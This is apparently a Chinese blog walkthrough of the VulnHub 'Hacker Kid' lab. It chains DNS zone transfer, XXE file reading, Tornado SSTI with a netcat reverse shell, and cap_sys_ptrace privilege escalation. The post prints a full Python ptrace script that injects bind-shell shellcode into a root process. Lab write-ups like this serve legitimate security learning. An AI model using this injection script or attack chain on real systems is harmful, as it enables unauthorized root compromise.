vulnhub吧唧——Hacker-Kid-v1-0-1

下载地址:https://download.vulnhub.com/hackerkid/Hacker_Kid-v1.0.1.ova

1.配置环境

 kali:NAT

吧唧:NAT

2.主机发现

 通过粗略的扫描我们可以知道吧唧的ip为192.168.139.148

 可以看出来他开放了53dns服务,80http服务,9999http服务,这里有个53dns域名系统,只是目前使用nmap扫描端口的时候并没有扫出来域名是什么

3.访问服务

 这貌似是一个踢馆的挑战书之类的东东,他明说需要我们去挖掘他

 这里我们使用dirsearch扫描目录后发现是扫不出来什么玩意儿有用的东西的,刚刚我们扫端口的时候还扫到了另一个web服务

 我们的9999端口同样是一个web界面,只不过他是tornado http,是基于一种基于Python的异步web框架。可以看出来他是一个登录界面

 特喵的我输入admin:admin以为登进来了呢,结果啥也不是

 看来目录也扫描不出来什么玩意儿东西,失败乃成功之母,于是我尝试进行一番沉淀

 在80的http服务的网站源代码中我们可以找到这样一个注释,可以看到这里提示我们get参数提交page_no来查看页面

 直接就是使用bp抓个包发送到intruder模块儿然后打上我们需要爆破的point

 选择对应的模式设置好起始终止值以及步长就开始爆破

 爆破出来了正确的page_no为21,通过bp预览可以得到一个域名为hackers.blackhat.local

 在主机的hosts文件(windows目录为"C:\Windows\System32\drivers\etc\hosts",kali目录为"/etc/hosts")中添加记录“192.168.139.148 hackers.blackhat.local”保存并退出后,在cmd执行命令ipconfig/flushdns刷新dns记录,这样我们成功添加了一条记录,能够成功进行访问,但是我怀疑这不是全部的dns域名,不排除存在子域名或者其他域名的可能性,于是我进行沉淀

 经过一番沉淀,我又忽略了一个东东,在开始的80http服务页面中,有这样一句话"More you will DIG me,more you will find me on your servers..DIG me more…DIG me more"(更多的你会挖掘我,更多的你会发现我在你的服务器…挖掘我更多…再给我挖点),其中的DIG异常显眼,所以说我学到了一个新命令——dig。它用于在终端中执行dns查询操作。这里我们查询了已知域名hackers.blackhat.local在吧唧上的信息,我们得到了主服务器地址(balckhat.local)和另一个dns主机名(hackerkid.blackhat.local)

 我们把已知的三条dns记录添加进/etc/hosts

 然后使用dig的axfr参数查询出所有的域名

 追加所有的dns记录,挨个儿进行访问

image.png

 当我们访问hackerkid.blackhat.local这个域名时,出现了新的东东,他看起来像是一个注册账户的地方,但我尝试进行注册的时候他总说我邮箱不可用,于是我必须得进行一番沉淀

 我们可以通过源代码看到一些xml语句,之前接触到的xml文件多是配置文件,还有用于xml文件的xpath查询语言。这里我通过一番沉淀,关于xml格式的信息交互可能会有xee漏洞(xml外部实体注入攻击)

 再次之前,我简单的了解了一下xml语言的基本语法,我觉得比较方便的点就是用户自定义标签,方便用户读写,那他怎么会有漏洞呢?且听我缓缓道来

 我们分析一个简单的漏洞代码,可以看到我们的xee漏洞主要是因为filegetcontents("php://input")读取到了提交的内容,才有机会通过实体读取系统文件,然后利用simplexmlloadstring函数将其输出出来(xee学习参考:https://blog.csdn.net/m058001548/article/details/130448644?opsrequestmisc=%257B%2522request%255Fid%2522%253A%2522169192440916800185884345%2522%252C%2522scm%2522%253A%252220140713.130102334..%2522%257D&requestid=169192440916800185884345&bizid=0&utmmedium=distribute.pcsearchresult.none-task-blog-2~all~sobaiduend~default-2-130448644-null-null.142^v92^controlT02&utmterm=xee%E6%BC%8F%E6%B4%9E&spm=1018.2226.3001.4187

 回到题目,我们直接就是加入一个实体来读取/etc/passwd,然后引用我们构造的实体来达到目的,为什么这里是在email这里引用呢?因为我们刚刚尝试注册的时候,他说我们邮箱不可用的时候把邮箱那一栏所有的东西显示出来了,相当与是emai有回显正好可以用来读文件。

 我们现在只能读文件,关键是我们不知道读什么文件,不知道有什么文件。所以在我经过一番沉淀后知道了.bashrc文件,其目录为/home/username即用户主目录下,这个文件用于定义用户登录到命令行时的一些设置,但是我刚刚使用file协议进行读取的时候并未成功,我又想到了我们的一个老朋友php伪协议,经过base64编码后成功读到了我们的.baserc文件

 我们从中获取到了一对儿账号密码admin:Saket!#$%@!!,不难看出其用于运行Python程序,值得注意的是,我们是在saket目录下发现的,大胆猜测这里的密码应该是saket:Saket!#$%@!!

 我们尝试登录9999端口,于是登录成功,但是登录进来似乎没有看到什么东西

 不google不知道,一google吓一跳,上文说到9999端口部署的web服务是tornado http,是基于Python的,google一下你就知道这个玩意儿有SSTI模板注入漏洞

 既然是注入,那么必有一个入口,我们使用bp(我想用gobuster没有成功)进行爆破变量名(我使用的kali的字典/usr/share/wordlists/dirb/big.txt),我之前构造的语句是url/?§aaa§=saket,这里可以看见成功显示了saket,说明可以进行模板注入而且注入点为name(其实前面问你叫什么名字的时候猜都猜得到注入点为name)

 我们通过{{1+abcxyz}}${1+abcxyz}[abcxyz]这个经典的报错语句(把不同类型的变量乱点鸳鸯谱来测试是否能够注入)测试出这个页面确有SSTI

 我们的目的是整个shell回本地,谢谢我的好朋友nc助我圆梦(tornabo模板注入参考:SSTI (Server Side Template Injection) - HackTricks

4.信息搜集

 我学聪明了,直接就是查看历史记录,这里我使用的命令是cat ~/.bashhistory,~是当前用户的主目录(/home/username),.bashhistory是查看当前用户的历史记录,history是查看当前会话的历史记录。这里我们通过查看saket的历史记录可以看出他是个坏坏,端口5600是有一定问题的

 但当我分别使用ss和netstat两条命令查看端口信息的时候都没有看见任何关于5600端口的信息,于是我选择沉淀一番

 这里我们经过沉淀之后知道了一个命令,getcap命令是用于查找具有特殊能力的文件。当Python具有capsysptrace+ep能力时,可以进行提权(参考:https://blog.pentesteracademy.com/privilege-escalation-by-abusing-sys-ptrace-linux-capability-f6e6ad2a59cc

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c 

import ctypes
import sys
import struct

# Macros defined in <sys/ptrace.h>
# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT   = 4
PTRACE_GETREGS    = 12
PTRACE_SETREGS    = 13
PTRACE_ATTACH     = 16
PTRACE_DETACH     = 17

# Structure defined in <sys/user.h>
# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):
    _fields_ = [
        ("r15", ctypes.c_ulonglong),
        ("r14", ctypes.c_ulonglong),
        ("r13", ctypes.c_ulonglong),
        ("r12", ctypes.c_ulonglong),
        ("rbp", ctypes.c_ulonglong),
        ("rbx", ctypes.c_ulonglong),
        ("r11", ctypes.c_ulonglong),
        ("r10", ctypes.c_ulonglong),
        ("r9", ctypes.c_ulonglong),
        ("r8", ctypes.c_ulonglong),
        ("rax", ctypes.c_ulonglong),
        ("rcx", ctypes.c_ulonglong),
        ("rdx", ctypes.c_ulonglong),
        ("rsi", ctypes.c_ulonglong),
        ("rdi", ctypes.c_ulonglong),
        ("orig_rax", ctypes.c_ulonglong),
        ("rip", ctypes.c_ulonglong),
        ("cs", ctypes.c_ulonglong),
        ("eflags", ctypes.c_ulonglong),
        ("rsp", ctypes.c_ulonglong),
        ("ss", ctypes.c_ulonglong),
        ("fs_base", ctypes.c_ulonglong),
        ("gs_base", ctypes.c_ulonglong),
        ("ds", ctypes.c_ulonglong),
        ("es", ctypes.c_ulonglong),
        ("fs", ctypes.c_ulonglong),
        ("gs", ctypes.c_ulonglong),
    ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.
libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]
libc.ptrace.restype = ctypes.c_uint64

# Attach to the process
libc.ptrace(PTRACE_ATTACH, pid, None, None)
registers=user_regs_struct()

# Retrieve the value stored in registers
libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.
shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.
for i in xrange(0,len(shellcode),4):

  # Convert the byte to little endian.
  shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)
  shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')
  shellcode_byte=int(shellcode_byte_little_endian,16)

  # Inject the byte.
  libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer
registers.rip=registers.rip+2

# Set the registers
libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.
libc.ptrace(PTRACE_DETACH, pid, None, None)

这个脚本就是我们的攻击脚本

 我们把准备好的脚本整到吧唧上,该脚本如果执行成功,会在本地监听5600端口,也可以修改shellcode部分监听其他端口,但是这里我们就不改了,就让他监听5600端口。同时这个脚本需要注入到root权限的进程才行

 这里我们构造一个shell脚本来批量进行注入,再次查看发现有5600端口即为成功

 这里这里成功拿到我们的root权限(结合我们整个攻击过程再回去看看历史命令,这个saket也是一肚子坏水呀)

总结:这个吧唧好像没有flag,不过没关系,最后是整到了root权限。这个吧唧我们最开始是审计网页源代码(我差点儿忽略了)可以得到变量名pageno然后通过尝试得到不同的页面,也算是注入吧。然后就是使用dig命令获取域名相关信息,通过不同的域名访问不同的服务。然后还是查看网页源代码发现了xml语句,也了解了一点xee漏洞。还有知道了家目录下有个文件叫.bashrc,用于配置用户的shell环境,从中得到了用户名和密码登录tornado http框架写的web界面。因为是Python写的,所以他可能存在SSTI(模板注入)漏洞,我们通过测试语句测试出来确实有SSTI漏洞后就结合Python和nc弹了个shell回本地。学到了一个新命令getcap——用于查找具有特殊能力的文件。发现当Python具有capsys_ptrace+ep能力时,可以进行提权。然后查找关于root的进程id作为参数传入我们找的梭哈脚本(inject.py),最后一连5600端口即可得到root权限。这次渗透的过程让我体会到不能忽略任何一个源代码,看似无用可能会在不经意的地方发挥巨大的用处。发现的东西都是环环相扣的也让我体会到了渗透的一些乐趣,当你经过一番挖掘后得到的东西让你醍醐灌顶,这非常有趣。美中不足的就是还有很多命令需要学习和掌握,路漫漫其修远兮,吾将上下而求索

新手上路,请多指教

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值